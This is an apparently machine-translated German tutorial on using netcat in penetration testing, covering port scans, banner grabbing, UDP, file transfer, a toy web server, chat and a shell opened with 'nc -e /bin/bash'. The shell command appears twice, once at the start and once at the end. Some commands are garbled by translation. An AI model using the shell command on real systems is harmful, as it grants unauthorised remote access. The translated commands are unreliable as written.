Nach dem Ausführen der Befehle erscheinen alle Zeichen, die auf einem der Knoten in das Terminalfenster eingegeben werden, im Terminalfenster des anderen Knotens.

Umgekehrte Schale

Mit netcat können Sie eine praktische umgekehrte Shell organisieren:


nc -e /bin/bash -lp 4444

Jetzt können Sie eine Verbindung vom Remote-Host herstellen:


$nc 192.168.1.100 4444

Sie sollten nicht aufgeben, wenn bestimmte Tools nicht vorhanden sind, oft recht umständlich, manchmal kann die Aufgabe mit improvisierten Mitteln gelöst werden.

In diesem Artikel schaue ich mir das beliebte Netcat-Netzwerkdienstprogramm und einige nützliche Tricks zu seiner Verwendung an.


Netcat ist ein Unix-Dienstprogramm, mit dem Sie TCP- und UDP-Verbindungen aufbauen, Daten von dort empfangen und übertragen können. Trotz seiner Nützlichkeit und Einfachheit wissen viele nicht, wie man es benutzt und umgehen es auf unfaire Weise.


Mit diesem Dienstprogramm können Sie einige Schritte bei der Durchführung von Penetrationstests ausführen. Dies kann nützlich sein, wenn der angegriffene Computer keine installierten Pakete hat (oder Aufmerksamkeit erregen wird), es Einschränkungen gibt (z. B. IoT/eingebettete Geräte) usw.


Was kann mit netcat gemacht werden:

  • Ports scannen;
  • Weiterleitungsports;
  • Sammeln Sie Service-Banner;
  • Listen-Port (Bindung für Rückwärtsverbindung);
  • Dateien herunterladen und hochladen;
  • Rohen HTTP-Inhalt ausgeben;
  • Erstellen Sie einen Mini-Chat.

Im Allgemeinen können Sie mit netcat einen Teil der Unix-Dienstprogramme ersetzen, sodass dieses Tool als eine Art Mähdrescher für die Ausführung bestimmter Aufgaben betrachtet werden kann.

Praktische Beispiele

Wenn es notwendig ist, einen bestimmten Host zu überprüfen, verwenden sie in vielen Fällen Telnet oder ihre eigenen Dienste, um den Host oder das Banner zu identifizieren. Wie netcat uns helfen kann:

Suche nach einem offenen TCP-Port 12345

$ nc -vn 192.168.1.100 12345
nc: Verbindung zu 192.168.1.100 12345 (TCP) fehlgeschlagen: Verbindung abgelehnt

$ nc -v 192.168.1.100 22
Verbindung zu 192.168.1.100 22 Port erfolgreich!
SSH-2.0-OpenSSH

Scannen von TCP-Ports mit netcat:

$nc -vnz 192.168.1.100 20-24

Bei einem solchen Scan erfolgt keine Verbindung zum Port, sondern nur die Ausgabe einer erfolgreichen Verbindung:


nc: Verbindung zu 192.168.1.100 Port 20 (TCP) fehlgeschlagen: Verbindung abgelehnt
nc: Verbindung zu 192.168.1.100 Port 21 (TCP) fehlgeschlagen: Verbindung abgelehnt
0 Vereine gefunden
1 Verbindungen gefunden:
1: Flags = 82
outif en0
src 192.168.1.100 Port 50168
dst 192.168.1.100 Port 22
Ranginfo nicht verfügbar
TCP-Aux-Info verfügbar
Verbindung zu 192.168.1.100 Port 22 erfolgreich!
nc: Verbindung zu 192.168.1.100 Port 23 (TCP) fehlgeschlagen: Verbindung abgelehnt
nc: Verbindung zu 192.168.1.100 Port 24 (TCP) fehlgeschlagen: Verbindung abgelehnt

Scannen von UDP-Ports.

Root-Rechte sind erforderlich, um UDP-Ports mit nmap zu scannen. Wenn sie nicht da sind, kann uns in diesem Fall auch das netcat-Dienstprogramm helfen:


$ nc -vnzu 192.168.1.100 5550-5560
Verbindung zu 192.168.1.100 Port 5555 erfolgreich!

Senden eines UDP-Pakets

$ echo -n "foo" | nc -u -w1 192.168.1.100 161

Dies kann bei der Interaktion mit Netzwerkgeräten nützlich sein.

Empfangen von Daten auf dem UDP-Port und Ausgeben der empfangenen Daten

$ nc -u localhost 7777

Nach der ersten Meldung wird die Ausgabe gestoppt. Wenn Sie mehrere Nachrichten erhalten müssen, müssen Sie while true verwenden:


$ solange wahr; do nc -u localhost 7777; erledigt

Datei Übertragung. Mit netcat können Sie sowohl Dateien empfangen als auch Dateien an einen Remote-Host übertragen:


NC 192.168.1.100 5555< 1.txt
nc -lvp 5555 > /tmp/1.txt

Netcact als einfacher Webserver.

Netcat kann als einfacher Webserver zum Anzeigen von HTML-Seiten fungieren.


$ solange wahr; mach nc -lp 8888< index.html; done

Verwenden Sie einen Browser unter: http://netcat host:8888/index.html. Um die Standard-Webserver-Portnummer 80 zu verwenden, müssen Sie nc mit Root-Rechten ausführen:


$ solange wahr; mach sudo nc -lp 80< test.html; done

Chatten Sie zwischen Knoten

Auf dem ersten Knoten (192.168.1.100):


$nc-lp 9000

Auf dem zweiten Knoten:


$nc 192.168.1.100 9000

Nach dem Ausführen der Befehle erscheinen alle Zeichen, die auf einem der Knoten in das Terminalfenster eingegeben werden, im Terminalfenster des anderen Knotens.

Umgekehrte Schale

Mit netcat können Sie eine praktische umgekehrte Shell organisieren:


nc -e /bin/bash -lp 4444

Jetzt können Sie eine Verbindung vom Remote-Host herstellen:


$nc 192.168.1.100 4444

Sie sollten nicht aufgeben, wenn bestimmte Tools nicht vorhanden sind, oft recht umständlich, manchmal kann die Aufgabe mit improvisierten Mitteln gelöst werden.